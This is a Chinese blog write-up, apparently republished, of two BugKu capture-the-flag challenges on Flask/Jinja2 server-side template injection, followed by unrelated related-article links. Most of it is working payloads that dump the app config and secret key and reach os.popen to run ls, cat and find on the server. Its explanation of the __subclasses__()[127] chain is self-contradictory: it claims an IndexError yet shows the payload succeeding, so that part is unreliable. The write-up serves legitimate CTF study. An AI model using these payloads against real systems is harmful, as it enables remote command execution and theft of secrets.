BugKu-Web-Simple_SSTI_1Simple_SSTI_2(浅析SSTI模板注入!)

2023-12-13 18:28

本文主要是介绍BugKu-Web-Simple_SSTI_1Simple_SSTI_2(浅析SSTI模板注入!),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

何为SSTI模块注入?

SSTI即服务器端模板注入(Server-Side Template Injection),是一种注入漏洞。

服务端接收了用户的恶意输入以后,未经任何处理就将其作为Web应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell等问题。

常见的SSTI模块注入攻击有哪些

常见的SSTI模块注入攻击包括以下几种:

  1. 代码执行:攻击者可以通过SSTI注入在服务器端执行任意代码,包括命令执行、远程文件包含等攻击。这可能导致服务器被完全控制,进一步导致数据泄漏、服务器崩溃或恶意操作。
  2. 敏感信息泄露:攻击者可以通过SSTI注入获取服务器上的敏感信息,如数据库连接字符串、API密钥等。这可能导致用户数据泄露、系统被入侵或身份盗窃等问题。
  3. 垂直和横向越权:通过SSTI注入,攻击者可能访问到非授权的数据或功能,实施垂直或横向越权行为。这可能导致用户权限被提升、重要数据被访问或其他合法用户遭受影响。
  4. DoS攻击:攻击者可以通过SSTI注入导致服务器负载过高,从而拒绝服务,使网站或应用程序无法正常运行。

Simple_SSTI_1

题目环境
image.png

You need pass in a parameter named flag。
您需要传入一个名为flag的参数。

随便传参看看有何变化

?flag=1

image.png

?flag=flag.php

image.png

?flag=system(ls);

image.png

有点意思,不管输入什么,都会被"注释",不免让我有些惊愕。

接下来就步入正题吧

使用模板变量进行渗透
{{}}是模板变量的用法。在模板中,想要展示视图向模板渲染的变量,需要使用{{变量}}进行接收。

继续传参测试

?flag={{6*6}}

image.png

?flag={{6+6}}

image.png

爆出了部分信息

回到题目首页F12
image.png

You know, in the flask, We often set a secret_key variable.
你知道,在烧瓶里,我们经常设置一个秘密的钥匙…。

模板中的配置命令

在模板中,config通常指的是配置文件。这些文件包含了程序运行所需的设置和参数,使得程序可以根据配置文件的内容进行适应性调整。

那就到此为止吧

好好好,今天就依你,使用这把钥匙🔑来拿下flag

?flag={{config.SECRET_KEY}}
image.png
当然还有一个较为粗鲁的方法
直接查看所有配置
**?flag={{config}}**
image.png
最后一种方法就颇为更加的规范
?flag={{''.__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('echo $FLAG').read()}}

这里是对这段命令的解释

  1. ‘’.class:这部分获取了一个空字符串的类。
  2. .base:这部分获取了该类的基类,对于空字符串来说,它的基类是object。
  3. .subclasses():这部分返回了object类的所有直接子类。
  4. [127]:这部分试图访问子类列表的第128个元素(因为Python的索引是从0开始的),但这个索引超出了列表的长度,所以会抛出一个IndexError。
  5. .init:这部分试图访问某个类的初始化方法,但前面提到的子类列表访问是错误的,所以这一步也是错误的。
  6. .globals[‘popen’](‘echo $FLAG’).read():这部分首先尝试访问当前对象的全局符号表(字典),然后试图在其中查找popen键,并执行其对应的值(一个命令)。这个命令是echo $FLAG,它会输出环境变量FLAG的值。最后,.read()方法读取命令的输出。

这段代码的核心思想是通过复杂的对象模型和全局符号表来执行一个命令并读取其输出

image.png
拿下flag:
flag{d3b917ea81211b45b392e2ce1ec2a1c5}

Simple_SSTI_2

题目环境
image.png
照例查看配置信息
**?flag={{config}}**
image.png

唉,我不免耸了耸肩,有些无奈,并未发现什么有用的
想必相比第一题便不是那般小打小闹了
至此,看来得认真对待了

使用模板注入照打一番
?flag={{config.__class__.__init__.__globals__['os'].popen('ls ../').read()}}

对于这段命令,在第一题,我也是有所提及,相差不大
这里略作解释
python中popen函数主要是用来执行linux命令函数
使用使用之前需要导入os模块
这段命令是列出上一级的所有目录以及文件

image.png
先看app目录
?flag={{config.__class__.__init__.__globals__['os'].popen('ls /app').read()}}
image.png

发现flag的存在

查flag内容
?flag={{config.__class__.__init__.__globals__['os'].popen('cat /app/flag').read()}}
image.png
当让我们还可以使用Linux中find命令来查找flag的路径
?flag={{config.__class__.__init__.__globals__['os'].popen('find / -name flag').read()}}
image.png
接下来就照打不误了
?flag={{config.__class__.__init__.__globals__['os'].popen('cat /app/flag').read()}}
image.png

拿下flag:
flag{1f13963c42fa39b5aae92e25d1627851}


这篇关于BugKu-Web-Simple_SSTI_1Simple_SSTI_2(浅析SSTI模板注入!)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/489487

相关文章

Spring常见错误之Web嵌套对象校验失效解决办法

《Spring常见错误之Web嵌套对象校验失效解决办法》:本文主要介绍Spring常见错误之Web嵌套对象校验失效解决的相关资料,通过在Phone对象上添加@Valid注解,问题得以解决,需要的朋... 目录问题复现案例解析问题修正总结  问题复现当开发一个学籍管理系统时,我们会提供了一个 API 接口去

基于Java实现模板填充Word

《基于Java实现模板填充Word》这篇文章主要为大家详细介绍了如何用Java实现按产品经理提供的Word模板填充数据,并以word或pdf形式导出,有需要的小伙伴可以参考一下... Java实现按模板填充wor编程d本文讲解的需求是:我们需要把数据库中的某些数据按照 产品经理提供的 word模板,把数据

使用IntelliJ IDEA创建简单的Java Web项目完整步骤

《使用IntelliJIDEA创建简单的JavaWeb项目完整步骤》:本文主要介绍如何使用IntelliJIDEA创建一个简单的JavaWeb项目,实现登录、注册和查看用户列表功能,使用Se... 目录前置准备项目功能实现步骤1. 创建项目2. 配置 Tomcat3. 项目文件结构4. 创建数据库和表5.

手把手教你idea中创建一个javaweb(webapp)项目详细图文教程

《手把手教你idea中创建一个javaweb(webapp)项目详细图文教程》:本文主要介绍如何使用IntelliJIDEA创建一个Maven项目,并配置Tomcat服务器进行运行,过程包括创建... 1.启动idea2.创建项目模板点击项目-新建项目-选择maven,显示如下页面输入项目名称,选择

浅析Spring Security认证过程

类图 为了方便理解Spring Security认证流程,特意画了如下的类图,包含相关的核心认证类 概述 核心验证器 AuthenticationManager 该对象提供了认证方法的入口,接收一个Authentiaton对象作为参数; public interface AuthenticationManager {Authentication authenticate(Authenti

poj3468(线段树成段更新模板题)

题意:包括两个操作:1、将[a.b]上的数字加上v;2、查询区间[a,b]上的和 下面的介绍是下解题思路: 首先介绍  lazy-tag思想:用一个变量记录每一个线段树节点的变化值,当这部分线段的一致性被破坏我们就将这个变化值传递给子区间,大大增加了线段树的效率。 比如现在需要对[a,b]区间值进行加c操作,那么就从根节点[1,n]开始调用update函数进行操作,如果刚好执行到一个子节点,

C++11第三弹:lambda表达式 | 新的类功能 | 模板的可变参数

🌈个人主页: 南桥几晴秋 🌈C++专栏: 南桥谈C++ 🌈C语言专栏: C语言学习系列 🌈Linux学习专栏: 南桥谈Linux 🌈数据结构学习专栏: 数据结构杂谈 🌈数据库学习专栏: 南桥谈MySQL 🌈Qt学习专栏: 南桥谈Qt 🌈菜鸡代码练习: 练习随想记录 🌈git学习: 南桥谈Git 🌈🌈🌈🌈🌈🌈🌈🌈🌈🌈🌈🌈🌈�

poj 1258 Agri-Net(最小生成树模板代码)

感觉用这题来当模板更适合。 题意就是给你邻接矩阵求最小生成树啦。~ prim代码:效率很高。172k...0ms。 #include<stdio.h>#include<algorithm>using namespace std;const int MaxN = 101;const int INF = 0x3f3f3f3f;int g[MaxN][MaxN];int n

uva 10014 Simple calculations(数学推导)

直接按照题意来推导最后的结果就行了。 开始的时候只做到了第一个推导,第二次没有继续下去。 代码: #include<stdio.h>int main(){int T, n, i;double a, aa, sum, temp, ans;scanf("%d", &T);while(T--){scanf("%d", &n);scanf("%lf", &first);scanf

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)